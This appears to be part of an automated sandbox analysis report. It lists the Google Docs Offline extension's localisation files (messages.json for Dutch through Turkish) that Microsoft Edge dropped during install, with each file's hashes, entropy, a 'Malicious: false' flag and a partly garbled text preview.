Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
